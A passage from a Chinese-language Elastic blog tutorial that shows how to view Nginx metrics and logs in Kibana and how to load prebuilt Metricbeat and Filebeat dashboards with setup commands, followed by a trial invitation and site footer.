</p><p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt134bbe8e86663c4b/5d2d37bdae880b03aa40661e/nginx-monitoring-image4.png" data-sys-asset-uid="blt134bbe8e86663c4b" alt="显示服务器指标的 Kibana 图表" style="display: block; margin: auto;">
</p><h3>日志</h3><p>如果导航到“Logs”（日志）应用，我们将能够看到从 Filebeat 发送来的访问日志和错误日志。
</p><p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt79961499be8a9f3b/5d2d3803ae880b03aa406624/nginx-monitoring-image5.jpg" data-sys-asset-uid="blt79961499be8a9f3b" alt="显示错误日志和访问日志的 Kibana Logs 应用" style="display: block; margin: auto;">
</p><h3>预配置的 Nginx 仪表板</h3><p>至此，我们已经有了 Kibana 的正在运行和可访问的实例，我们接下来可以加载一些预制的仪表板。
</p><p>要加载 Metricbeat 仪表板，请在 Metricbeat 目录中运行以下命令：
</p><pre class="prettyprint">sudo ./metricbeat setup --dashboards
</pre><p>对 Filebeat 执行相同命令：
</p><pre class="prettyprint">sudo ./filebeat setup --dashboards
</pre><p>现在，如果我们导航到 Kibana 中的“Dashboards”（仪表板）选项卡，应看到以下内容：
</p><p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/bltf6e6bf414a9c13c8/5d2d383eb3c3b6032396a3d7/nginx-monitoring-image6.jpg" data-sys-asset-uid="bltf6e6bf414a9c13c8" alt="显示可用仪表板的 Kibana 页面" style="display: block; margin: auto;">
</p><p>如果将范围缩小到“nginx”搜索，我们将看到以下可用的仪表板：
</p><p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/bltcf3ccffbb71a48aa/5d2d38bb2eb7167479193ecf/nginx-monitoring-image7.png" data-sys-asset-uid="bltcf3ccffbb71a48aa" alt="显示可用 Nginx 仪表板的 Kibana 页面" style="display: block; margin: auto;" width="720" height="390">
</p><p>例如，<em><strong>[Filebeat Nginx] 访问日志和错误日志 ECS</strong></em> 仪表板将类似如下所示：
</p><p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt51e7d57d2a6b575d/5d2d38f88e6f797b0da30462/nginx-monitoring-image8.jpg" data-sys-asset-uid="blt51e7d57d2a6b575d" alt="Filebeat Nginx 访问日志和错误日志 ECS" style="display: block; margin: auto;">
</p><p>至此，我们已经学习了如何使用 Elastic Stack 来监测 Nginx 服务器。其中可以使用各种选项（例如，不同的分组和筛选选项）来深入了解对您真正重要的信息。
</p><h2>亲自试用</h2>Elastic Stack 入门非常简单 — 您可以通过提供的 curl 命令下载各种产品，也可以浏览我们的<a href="/downloads/">下载</a>页面，从中获取产品。甚至更为简单的是，可以先注册获得 <a href="/cloud/elasticsearch-service/signup">Elasticsearch 服务</a>的 14 天免费试用，然后再获取产品。如果遇到任何问题，可以访问<a href="https://discuss.elastic.co/">讨论</a>论坛来了解更多信息。

Elasticsearch Platform

ELK Stack

Elastic Cloud

可观测性

安全性

搜索

按行业

按解决方案

客户聚焦

开发人员

保持联系

学习

帮助

了解 Elastic 的最新动态

<

2019

<

september

>

Elastic Stack 中的告警

如何将数据采集到 Elasticsearch 服务

Elastic Cloud on Kubernetes 入门：部署

现在可在 Microsoft Azure 上使用 Elasticsearch Service on Elastic Cloud

关注我们

关于我们

加入我们

新闻稿

合作伙伴

信任和安全性

投资者关系

卓越奖

关于我们

加入我们

新闻稿

合作伙伴

信任和安全性

投资者关系

卓越奖